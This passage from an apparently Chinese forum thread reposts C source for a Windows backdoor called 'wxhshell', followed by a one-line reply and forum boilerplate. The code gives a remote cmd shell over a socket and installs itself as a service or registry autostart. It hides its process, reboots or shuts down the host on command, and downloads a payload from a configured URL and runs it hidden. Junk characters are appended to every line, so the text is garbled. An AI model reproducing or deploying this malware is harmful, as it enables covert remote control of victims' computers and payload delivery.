  if(DownloadFile(cmd,wsh)) ]0`[L<_r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  t%FS 5  
  else [X~H Uk??  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4<LRa=XT$  
  } {p2%4  
  else { }>tUkXlhJ<  
-Tz9J4xU&  
    switch(cmd[0]) { ja 9y  
  E"w7/k#3}C  
  // 帮助 & JF^a  
  case '?': { aZBaIl6I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'i`;Frmg  
    break; y<;#*wB  
  } Z ,T TI>P  
  // 安装 =x[`W9.D  
  case 'i': { hob%'Y5%D  
    if(Install()) V}aXS;(r%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _oLK" * [#  
    else JH?[hb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d}WAP m  
    break; re^1fv  
    } u9GQ)`7Z@  
  // 卸载 .@[+05Yw  
  case 'r': { qbT].,?!U  
    if(Uninstall()) $(_i>&d<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c\RDa|B,  
    else v$,9l+p/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _N*4 3O`  
    break; (# ?~^ut  
    } sS+9ly{9J  
  // 显示 wxhshell 所在路径 Y<kvJb&1*  
  case 'p': { )IhI~,0Nmj  
    char svExeFile[MAX_PATH]; Y@L`XNl  
    strcpy(svExeFile,"\n\r"); HPt"  
      strcat(svExeFile,ExeFile); T> 1E  
        send(wsh,svExeFile,strlen(svExeFile),0); W=G[hT5L{  
    break; KH[%HN5v  
    } { >4exyu6  
  // 重启 $/pd[H[{  
  case 'b': { IS8ppu&E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fQe-v_K  
    if(Boot(REBOOT)) <M 7WWtmx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?= ulf GrY  
    else { R%5\1!Fl=G  
    closesocket(wsh); ' ;$2j~  
    ExitThread(0); vB#3jI  
    } ? ZN8Ku  
    break; J6f;dF^  
    } <0lfkeD  
  // 关机 3RGVH,  
  case 'd': { Nf3Kz#!B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cG ^'Qm  
    if(Boot(SHUTDOWN)) 0iHK1Pt}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dIK!xOStA  
    else { RL>[t  
    closesocket(wsh); M%6{A+(  
    ExitThread(0); u2BVQ<SA  
    } B8C"i%8V)  
    break; ZpWG  
    } X,gXgxP\  
  // 获取shell j@ =n|cq  
  case 's': { '2# O{  
    CmdShell(wsh); R%b,RH#  
    closesocket(wsh); Z*`CK^^~  
    ExitThread(0); W\X51DrEx  
    break; '8dgYj  
  } ]@Zj-n8  
  // 退出 B"8^5#t4s  
  case 'x': { iD{;!dUZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FK+jfr [  
    CloseIt(wsh); "Tfbd^AU  
    break; :%;K`w  
    } *6=[Hmygi  
  // 离开 A;{8\e  
  case 'q': { KcY 2lTvx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s8 3_Bd  
    closesocket(wsh); )e Ub@Eu  
    WSACleanup(); UWmWouA  
    exit(1); {?#g*QF|^  
    break; .F> c Z,  
        } fr:RiOPn  
  } Yuh t<:`  
  } 5 {'%trDEy  
y 37n~~%  
  // 提示信息 jJg 'Y:K9q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HnU}Lhjzj  
} |-2,k#|  
  } l |\Q~ D!o  
_DH,$evS%  
  return; kOJs;k  
} [UFLL:_sC  
fMhMB |W.  
// shell模块句柄 @hg1&pfxZ<  
int CmdShell(SOCKET sock) Elm/T]6  
{ O cm  
STARTUPINFO si; =|am=Q?Q  
ZeroMemory(&si,sizeof(si)); +D$\^ <#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^[d)Hk}L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .GkH^9THP  
PROCESS_INFORMATION ProcessInfo; r;}kw(ukC  
char cmdline[]="cmd"; &OWiA;e?f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FFP>Y*v(  
  return 0; ~` #t?1SP  
} pbju;h)O!|  
y{5ZC~Z<!  
// 自身启动模式 orEwP/L:  
int StartFromService(void) ?hsOhUs(5  
{ =>/aM7]  
typedef struct v#=-  
{ [4sbOl5yZ  
  DWORD ExitStatus; R.+Q K6B&  
  DWORD PebBaseAddress; %mh K1,  
  DWORD AffinityMask; zFwp$K>{QY  
  DWORD BasePriority; IO|">a6  
  ULONG UniqueProcessId; 4,T S1H  
  ULONG InheritedFromUniqueProcessId; KxK$Y.y]  
}   PROCESS_BASIC_INFORMATION; K)F;^)KDHf  
[;#}BlbN  
PROCNTQSIP NtQueryInformationProcess; _s<eqCBV  
|=,V,*"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O`~T:N|D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 36.L1!d)pE  
=U3 !D;XP  
  HANDLE             hProcess; k`kmmb>  
  PROCESS_BASIC_INFORMATION pbi; "-(yZigQ  
ADlPdkmym  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %w_h8  
  if(NULL == hInst ) return 0; (g4.bbEm  
D.U)R7(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B9Y "J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sxf<8Px9i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zziujs:  
~Ui<y=d  
  if (!NtQueryInformationProcess) return 0; g]z,*d  
vU&gFEWg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  `q%Z/!}  
  if(!hProcess) return 0; M}3>5*!=  
}-YD_Pm K-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5\RKT)%X  
pH'#v]"  
  CloseHandle(hProcess); 8X[G)J;  
vvFXdHP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZKPnvL70  
if(hProcess==NULL) return 0; +'JM:};1X8  
)m \}ITf  
HMODULE hMod; ES }@mO  
char procName[255]; W}.;]x%1B  
unsigned long cbNeeded; WF-B=BRZ  
(/tbe@<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~z%K9YcyU  
IWsB$T  
  CloseHandle(hProcess); Cddw\|'3  
>mi%L3Pk  
if(strstr(procName,"services")) return 1; // 以服务启动 dX,2cK[aG  
lMFj"x\  
  return 0; // 注册表启动 ??ah  
} "JKrbgN@;L  
T&X*[kP  
// 主模块 M($dh9A_  
int StartWxhshell(LPSTR lpCmdLine) !+=jD3HTJ  
{ ?4(uwX p  
  SOCKET wsl; a[[u>oHyd  
BOOL val=TRUE; j*rra  
  int port=0; f-tjMa /_  
  struct sockaddr_in door; %'%r.  
h 5t,5e}  
  if(wscfg.ws_autoins) Install(); `lqMifD  
)pW(Cp  
port=atoi(lpCmdLine); 03iO4yOu  
^SVdaQ{7  
if(port<=0) port=wscfg.ws_port; =>n:\_*M  
xaAJ>0IM  
  WSADATA data; k 2_ "  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4:y;<8+j\  
6rF[eb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WojZ[j>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |wQ|h$|  
  door.sin_family = AF_INET; 7Ha +@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (zCas}YAKI  
  door.sin_port = htons(port); .~4%TsBaY  
218ZUg -a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yf2U-s  
closesocket(wsl); ]ta]OK{s"  
return 1; |j#x}8 [(  
} HhH[pE  
;vc$;54K  
  if(listen(wsl,2) == INVALID_SOCKET) { ,A h QA  
closesocket(wsl); K%1'zSAyK  
return 1; 2_ <  
} 90Jxn'>^  
  Wxhshell(wsl); 593D/^}D  
  WSACleanup(); %o.{h  
GL(R9Y  
return 0; {~.h;'m  
i$?i1z*c}  
} sX^m1v~N|  
RYZh"1S;k  
// 以NT服务方式启动 pMHY2t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w*eO9k  
{ 66,?f<b  
DWORD   status = 0; s>9w+|6Ji  
  DWORD   specificError = 0xfffffff; #(?EL@5  
XuVbi=pN.2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %($sj| _l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hIuK s5`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H :}|UW  
  serviceStatus.dwWin32ExitCode     = 0; h?p&9[e`  
  serviceStatus.dwServiceSpecificExitCode = 0; % TyR8 %  
  serviceStatus.dwCheckPoint       = 0; X25cU{  
  serviceStatus.dwWaitHint       = 0; Q Bc\=}  
DO'$J9;*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oQBfDD0  
  if (hServiceStatusHandle==0) return; f5IO<(:E^  
5#!pwjt~7  
status = GetLastError(); -e3m!h  
  if (status!=NO_ERROR) >}\!'3)_  
{ 5Y"JRWC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hp/}Z"A=  
    serviceStatus.dwCheckPoint       = 0; !ANvXPp  
    serviceStatus.dwWaitHint       = 0; X8~ cWW  
    serviceStatus.dwWin32ExitCode     = status; q*SX.A>YR  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,ic.b @u1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )wQR2$x~  
    return; s_y Y,Z:  
  } ZX sm9  
\/p\QT@mm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KA# 4iu{  
  serviceStatus.dwCheckPoint       = 0; M~t S *  
  serviceStatus.dwWaitHint       = 0; D"oyl`q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y?=+A4v  
} 8sOM%y9M  
79AOvh  
// 处理NT服务事件,比如:启动、停止  P 1X8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `r & IA  
{ />S=Y"a/7  
switch(fdwControl) P ^R224R  
{ we9R4 *j  
case SERVICE_CONTROL_STOP: #qi@I;;t  
  serviceStatus.dwWin32ExitCode = 0; m2AA:u_*j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8p  }E  
  serviceStatus.dwCheckPoint   = 0; i:0~%X  
  serviceStatus.dwWaitHint     = 0; B9`nV.a  
  { sa36=:5x-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w8:~LX.n  
  } Fyrr,#  
  return; V lN&Lz  
case SERVICE_CONTROL_PAUSE: RcitW;{|Kg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;]3Tuq  
  break; KGS=(z  
case SERVICE_CONTROL_CONTINUE: /m%i"kki  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kep.+t[  
  break; ~v$gk   
case SERVICE_CONTROL_INTERROGATE: Z#IRNFj  
  break; 8 C@iD%  
}; ^|5bK_Z&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )s4#)E1  
} O:"gJ4D  
;]34l."85  
// 标准应用程序主函数 m;)[gF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $/ew'h9q  
{ qP-*  
Ouc=4'$-  
// 获取操作系统版本 K]yCt~A$  
OsIsNt=GetOsVer(); J~9l+?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yf(VwU, x  
m7Nm!Z7  
  // 从命令行安装 W]{mEB  
  if(strpbrk(lpCmdLine,"iI")) Install(); J'`,];su  
(0g@Z `r  
  // 下载执行文件 YQxVeS(  
if(wscfg.ws_downexe) { sqFMO+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ";AM3  
  WinExec(wscfg.ws_filenam,SW_HIDE); PXz,[<ET?#  
} hJ 4]GA'  
Z.Z+cFi  
if(!OsIsNt) { R_eKKi@VH  
// 如果时win9x,隐藏进程并且设置为注册表启动 l 3bo  
HideProc(); BFc=GiPnQ  
StartWxhshell(lpCmdLine); # kl?ww U  
} 'kPc`) \  
else {]]qd!,  
  if(StartFromService()) \^or l9  
  // 以服务方式启动 DfgqB3U[  
  StartServiceCtrlDispatcher(DispatchTable); ^5x\cR  
else A6YkoYgC  
  // 普通方式启动 a^t#kdT  
  StartWxhshell(lpCmdLine); ZgVYC4=Q-\  
p@!{Sh  
return 0; _@wXh-nc  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五